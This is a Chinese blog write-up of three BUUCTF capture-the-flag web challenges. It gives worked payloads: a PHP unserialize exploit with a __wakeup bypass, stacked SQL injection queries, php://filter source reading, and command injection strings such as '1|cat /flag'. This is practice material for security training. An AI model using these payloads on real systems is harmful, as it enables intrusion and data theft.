BUUCTF刷题[PHP]&[EasySQL]&[Exec]

BUUCTF-web刷题篇 ffffllllaaaagggg,打开文件之后发现没有什么关键信息,应该是键入的路径不对,但是我们不清楚它的具体位置,所以用5次../返回,即键入source.php?file=php://filter/read=convert.base64-encode/resource=flag.php,打开文件后得到伪代码,使用工具进行解码得到源代码,即。从带有GET 方法的表单发送的信息,对任何人都是可见的(会显示在浏览器的地址栏),并且对发送的信息量也有限制(最多 100 个字符)127.0.0.1; 阅读详情

[极客大挑战 2019]PHP

image-20211211233303732

题目给出提示说因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯不愧是我!!!,这就马上想到源码备份泄露的问题,一般网站的源码备份一般放在根目录的www.zip,当然还有各种后缀比如说.bak等等,先试下那常见的几个,如果都没找到那就没找到吧哈哈,当然你也可以用dirsearch工具扫描后台

常见的网站源码备份文件名


  • web
  • website
  • backup
  • back
  • www
  • wwwroot
  • temp

比如说index.php.bak

image-20211211233256013

然后将源码dowm下来之后就可以审计源码了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EipOaOV5-1639236802295)(C:/Users/86185/AppData/Roaming/Typora/typora-user-images/image-20211211225949381.png)]

可以看到有三个php文件,分别打开审计一下

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
<!DOCTYPE html>
<head>
  <meta charset="UTF-8">
  <title>I have a cat!</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
      <link rel="stylesheet" href="style.css">
</head>
<style>
    #login{   
        position: absolute;   
        top: 50%;   
        left:50%;   
        margin: -150px 0 0 -150px;   
        width: 300px;   
        height: 300px;   
    }   
    h4{   
        font-size: 2em;   
        margin: 0.67em 0;   
    }
</style>
<body>







<div id="world">
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
    </div>
    <div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script  src="index.js"></script>
</body>
</html>

可以看到在index.php里面

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

存在一个反序列化漏洞,传入一个select参数,并将其进行一次反序列化,这里包含了class.php文件,所以直接在class.php进行审计

image-20211211233239886

这里只有一个Name类,里面有两个属性分别为username和password,然后我们进行反序列化的时候会自动触发wakeup和destruct方法,首先要找到将要执行的点,显然是destruct里面的那两条判断条件,当password的值不为100的时候die(),所以必须要让password的值为100,然后当usernamde的值为admin的时候,输出flag的值

所以构造出的exp

<?php
class Name{
    private $username = 'admin';
    private $password = '100';

}
$a=new Name();
echo urlencode(serialize($a));
?>

这里因为这两个属性都是private,所以直接打印出来的话就会存在不可见字符,复制的时候会复制不完整,所以我将它进行了一次URL编码,然后等上传到服务器的时候会自动进行一次URL解码

这里还要注意一个点就会要绕过wakeup这个魔术方法,因为他会将我们修改的username这个属性的值变为guest,而绕过这个wakeup方法的方法就是将这个反序列化数据中那个wakeup位于的类的所含属性个数修改为大于本来就有的个数

比如说这道题有两个属性,然后为了绕过它你就要将属性的个数修改为3及以上的值

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

=>

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

image-20211211233228910

然后构造出payload如下

?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

image-20211211233207172

[SUCTF 2019]EasySQL

image-20211212001632976
传入参数判断是否有注入点

image-20211211202800760
image-20211212001701464
发现只有传入非0数字才会有回显,且回显为1,当传入1=2的时候回显0,而且大部分的命令都被禁用了,比如说and or

image-20211211234902348

综合以上的过滤信息看的话基本上就是什么报错,时间盲注都不能进行了

所以我们尝试一下其他的骚操作,比如说堆叠注入

1;show databases;
1;use ctf;

image-20211212001747476
!image-20211212001806437
发现这个flag就在CTF那个数据库里面,但是当执行show columns from flag的时候发现回显了nonono,这是因为过滤了from 和 flag这个,所以只能换一种思路了,根据官方的WP就是根据现在已有的条件对这个后端的源代码进行猜测

通过输入非0数字回显为1,其他的0或者字母不回显判断出可能存在||管道符

然后通过堆叠注入判断出它查询的那个表就是flag

即

select post[‘query’] ||flag from Flag;

然后接下来就有两种解法

  • *,1
    

相当于select *,1||flag from Flag

也就是将flag表中的所有内容打印出来

  • query=2;set sql_mode=PIPES_AS_CONCAT;select 2
    

    这里就是修改了一下sql_mode的值,也就是让||这个管道符的作用编程字符串连接的作用,类似于concat

    具体的sql_mode的那些值有哪些以及他们各自的作用可以自行搜索

image-20211212001458868

image-20211212001524478总之这道题的难点就是要你去猜他的后端源码

[ACTF2020 新生赛]Exec

image-20211211233421090

一道rce的题,尝试一下ls

image-20211211233523182

发现有回显,且flag就在文件根目录下,然后看下能不能直接通过cat命令输出出来

image-20211211233721794

很显然可以

从BUUCTF EasySQL 1题看SQL注入防御:为什么你的参数化查询还是被绕过了? 本文以BUUCTF EasySQL为例,深入分析SQL注入防御中的常见误区,揭示参数化查询在实际应用中的陷阱与失效场景。通过剖析万能密码攻击的现代变种,提供企业级防御矩阵构建方案,帮助开发者从漏洞利用到安全加固,实现真正的SQL注入防护。 阅读详情

相关推荐

BUUCTF靶场-web篇(一)

BUUCTF靶场-web篇,EasySQL、include1、Havefun(WP)、Exec1

weixin_49349476的博客 769

反序列化漏洞——I Hvae A Cat

【因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯 不愧是我!!! 】 根据题目提示的备份网站,可以使用网站备份文件的字典进行爆破,得到www.zip备份文件 下载后解压里面的class.php、flag.php和index.php文件 一开始以为是简单的扫后台路径得到flag,在flag.php提交flag时出错,好吧果然不是这么简单的 代码审计其余两个php文件 其中index.php &lt;?php include 'class.php'; ..

sGanYu 1780

给大一新生的蓝桥杯EDA备赛规划:从电路分析到立创EDA,如何用一年时间高效备赛?

本文为大一新生提供了一份系统的蓝桥杯EDA备赛规划,从电路分析基础到立创EDA实战操作,分阶段指导如何高效备赛。内容涵盖理论学习、软件操作、PCB设计专项提升及冲刺优化策略,帮助学生在一年内全面提升电子设计能力,为竞赛做好充分准备。

weixin_31476015的博客 290

反序列化-极客大挑战2019php【I have a cat!】

反序列化,第一反应该拿到他的源码。

XiaoYeZhu_1314的博客 634

STM32按键中断切换红绿蓝灯

通过以上步骤,我们实现了使用STM32的按键中断来切换红绿蓝LED灯的功能。在实际应用中,可能还需要考虑更多的细节,如按键消抖、更精确的延时实现等。但上述代码提供了一个基本的框架和思路,可以根据具体需求进行扩展和优化。希望这篇博客对您有所帮助!

2301_79865940的博客 952

家庭宽带IPv6避坑指南:如何通过DHCPv6-PD获取公网地址(附OpenWRT配置)

本文详细解析了家庭宽带IPv6的地址分配机制,重点介绍了通过DHCPv6-PD获取公网地址的方法,并提供了OpenWRT路由器的具体配置步骤。从路由器通告(RA)标记位到前缀委派(PD)流程,帮助用户解决IPv6部署中的常见问题,实现稳定高效的IPv6网络连接。

backprop5master的博客 1217

buuctf [极客大挑战 2019]PHP

打开是一个充满色彩的猫猫页面 因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯不愧是我!!! 应该网站有备份,/www.zip 解题: &lt;?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$pas

qq_1873822的博客 867

【云原生】阿里云SLS日志自定义字段标签实现日志告警

样例:一个典型的java log初始化日志格式把日志中的INFO提取出来做为一个标签,在开源日志框架中,配置采集器实现- regex:在阿里云SLS日志服务同样可以实现,首先我们进入到一个日志库,查看数据接入,我这里使用的是Logtail工具在【处理配置】中,选择【处理插件组合】,新增提取字段插件原始字段:填写要被提取的日志,对应原始字段的内容做正则结果字段:正则表达式对应的捕获组对应结果:捕获组 匹配内容 说明1 ywgy-app-service 服务名称。

CN_Eden 742

BUUCTF:[极客大挑战 2019]PHP

题目地址:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]PHP 根据提示找到www.zip进行下载 //index.php &lt;!DOCTYPE html&gt; &lt;head&gt; &lt;meta charset="UTF-8"&gt; &lt;title&gt;I have a cat!&lt;/title&gt; &lt;link rel="styles.

末初 · mochu7 1569

红米K70至尊版修复“nv损坏”主板电阻图示 mtk芯片工程固件刷写与步骤说明

💝💝💝红米K70至尊版 机型代码:rothko,搭载天玑9300+旗舰芯片.后置5000万像素索尼IMX906高动态OIS主摄,800万像素超广角镜头,200万像素微距镜头,前置2000万像素摄像头,也适用于以下型号的小米机型:2407FPN8EG,2407FPN8ER,XIG06,A402XM,2407FRK8EC。 💝💝💝通过博文了解 1💝💝💝-----此机型工程固件的资源刷写注意事项 2💝💝💝-----此机型刷写工程固件预览界面 3💝💝💝------红米K

小马哥的专栏 1461

基于深度学习的农作物病虫害检测识别系统:YOLOv8 + UI界面 + 数据集

该系统的目标是使用YOLOv8模型自动检测农作物的病虫害,并通过UI界面提供实时反馈。用户可以通过上传图像,系统会输出图像中是否存在病虫害以及具体种类。数据集准备与处理:收集并准备包含农作物病虫害图像的数据集,并进行标注和数据增强。YOLOv8模型训练:使用YOLOv8训练农作物病虫害检测模型。UI界面设计与开发:开发一个用户友好的界面,支持上传图像并展示检测结果。系统测试与优化:评估模型的准确性、实时性,并对系统进行优化。

YOLO 883

[极客大挑战 2019]PHP 1

前言 审thinkphp审吐了。。。根本看不懂代码。。。各种函数跳。。。感觉自己的头发都掉了很多。。。来打打BUUCTF的题目来放松一下。。 考察的知识点 备份文件 反序列化 代码审计 和猫玩 WP 首先进去环境,看到 因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯不愧是我!!! 很明显提示存在备份文件。试了几个常见的swp、~、bak等,发现还是没出,以为是git泄露之类的。但是因为BUUCTF限制了访问,用dirsearc扫的话会429,自己控制参数来放慢扫描速率的话扫的太慢了。。。

feng的博客 948

SKUA-GOCAD入门教程-第八节 线的创建与编辑7和8

本文介绍了曲线编辑操作的主要功能,包括曲线部分和区域的管理操作。在曲线部分操作方面,详细说明了如何合并、删除、移动和过滤曲线部分,支持精确或带公差的合并方式。在曲线区域操作方面,阐述了保留/删除区域点、移动区域点、保留/删除区域线段等操作。此外还介绍了节点连接功能,包括新增/删除连接、端点连接以及为曲线赋予地质特征的方法。

江洋大葱的博客 390

BUUCTF-随便注、Exec、EasySQL、Secret File

目录[强网杯 2019]随便注[ACTF2020 新生赛]Exec[SUCTF 2019]EasySQL[极客大挑战 2019]Secret File打开场景,里面有输入框,上面自带一个1,点击提交,有回显输入1 ' or '1'='1 有回显,因该是字符型猜测是sql注入,查询字段数,输入1' order by 1 #当查询到第三个字段的时候,回显异常,说明只有两个字段输入1' union select 1,2 # 回显一个正则过滤规则过滤了很多的东西 查询数据库,输入1'; show databa

m0_62905261的博客 1187

Himall商城ExpressDaDaHelper 取消订单(线上环境)

Himall商城ExpressDaDaHelper 取消订单(线上环境)

GZM888888的博客 399

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

BUUCTF刷题-Web方向1~5wp

公众号:泷羽Sec-track。

m0_74786138的博客 842

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

BUUCTF SQL注入实战:Havefun1与EasySQL深度解析

SQL注入是Web安全中最基础也最易被低估的攻击面,其本质在于服务端未校验的用户输入与动态查询逻辑的危险拼接。理解注入原理需穿透表层语法,深入HTTP交互、数据库引擎差异(如MySQL与SQLite的元数据结构)、解析器行为(如JSON解析失败触发eval执行)等底层机制。技术价值体现在对输入信任边界的重新定义——从单纯过滤关键词转向识别上下文语义。典型应用场景包括CTF靶场训练、红蓝对抗中的登录框渗透、以及真实业务系统中参数化查询缺失导致的数据泄露。本文以BUUCTF经典题Havefun1(JSON+ev

weixin_30824479的博客 374

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

【BUUCTF】刷题记录——(WEB篇)

靶机初始页面是一个大号的滑稽笑表情,额……看样子是要传入参数cat,而且cat的值要是dog,且试试,构造payload。靶机环境就一个用户名、密码输入框,尝试输入1&1之后,发现地址栏有变化。直接输入用户名admin,密码-1‘ or 1=1#试试,flag弹出……打开source.php分析吧分析吧T T。里面还提示了一个hint.php,打开看看。[极客大挑战 2019]Havefun。此处主要在BUUCTF平台(

jameshuangchuan的博客 469

BUUCTF--Web类型的题目

名字叫做easySQL,那么说明应该是进行一个简单的SQL注入就可以出来答案。首先启动靶机。点击链接进入靶机之后,出现了一个界面,上面写着我是cl4y,他做了一个网站,下面可以输入用户名密码登录。大胆猜测,肯定有一个用户名是cl4y,密码尝试用弱密码猜测,结果不行。题目提示是简单的SQL注入,开始构建SQL语句。首先尝试' and 1=1#显示用户名密码错误,尝试' or 1=1 #得到flag.

gugug_的博客 539

刷题日记1(buuctf web题)

但是对于该客户来说,他关心的只有石油的重量,所以石油的重量是有效载重(payload,也就是付费的重量)。SQL注入就是在用户输入的字符串中添加SQL语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的SQL语句就会被数据库服务器误认为是正常的SQL语句而运行,攻击者就可以执行计划外的命令或者访问未授权的数据。当然如果使用 ||必须需要前面是一个假的,就是前面条件为假才执行后面的,否则只执行前面的,所以可以用 a||cat /flag。也可以 1|cat /flag 1&cat /flag。

Aurora_lili的博客 434

buuctf

狂肝buuctf-day1一、EasySQL二、Havefun三、随便注四、Include五、Secret File六、Exec 一、EasySQL 直接万能密码尝试账号admin,密码1’ or ‘1’='1 得到flag 二、Havefun 直接查看源码f12 太简单我都不敢填了 payload: ?cat=dog 得到flag 三、随便注 偷个懒,贴个链接链接 四、Include 进入靶场,看了半天源码啥的,啥都没发现。 但看到了url,最后猜到了php伪协议。 构建payload php:

wh1sper、的博客 393

buuctf web 前5题

sql注入万能密码:admin ' or 1=1 #GET请求通过URL请求参数,可以在URL后面添加参数,以“?”作为分隔符,参数之间用“&”符号链接。简单php代码。php伪协议,获取网页源码,用于获取简单的被注释掉的重要信息伪协议构造格式中的一种:ping命令后可跟管道符,管道符的用法。

m0_61903191的博客 829

【web】buuctf write up day 2

跟数据库打交道的点有两个,一个是修改密码,一个是title参数,作为一个优雅的恶意账号,可以试试通过修改密码达到改admin的账户密码的目的。好像没有什么值得注意的地方,主要是没有username,这里先放一放,看看title。我们注册账号时候的恶意数据已经插入到数据库,当改密码时,调用username,报错。登录注册页面,登录页面中没找到什么注入点,来到注册页面,尝试注册一个恶意账号。额,我这里登录卡在加载页面,估计是网络限制了,知道了原理,我就不继续做了。

A_Gaming的博客 906

BUUCTF题目列表web题目(个人记录与学习)(第一页)

《极客大挑战2019》EasySQL靶机解题记录:通过万能密码成功绕过登录验证,获取到flag。解题过程参考了多篇关于SQL注入的技术文章,包括FreeBuf、优快云等平台提供的万能密码使用方法。该题目考察了基础的SQL注入漏洞利用能力,展示了常见登录框的安全隐患。

LHJ54188的博客 203

buuctf_web前5题

【代码】buuctf_web前5题。

m0_73118788的博客 133

BUUCTF-WEB详细解题攻略第一页(按解出数降序排序)

BUUCTF-WEB题解索引,按解出数排序。每题附详细Payload与思路,适合CTF刷题备查。

2503_94637398的博客 1774
上一篇: BUUCTF&[强网杯 2019]随便注(细节详解WP)
下一篇: BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]
Pysnow
博客等级 码龄5年 44粉丝 25原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pysnow

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值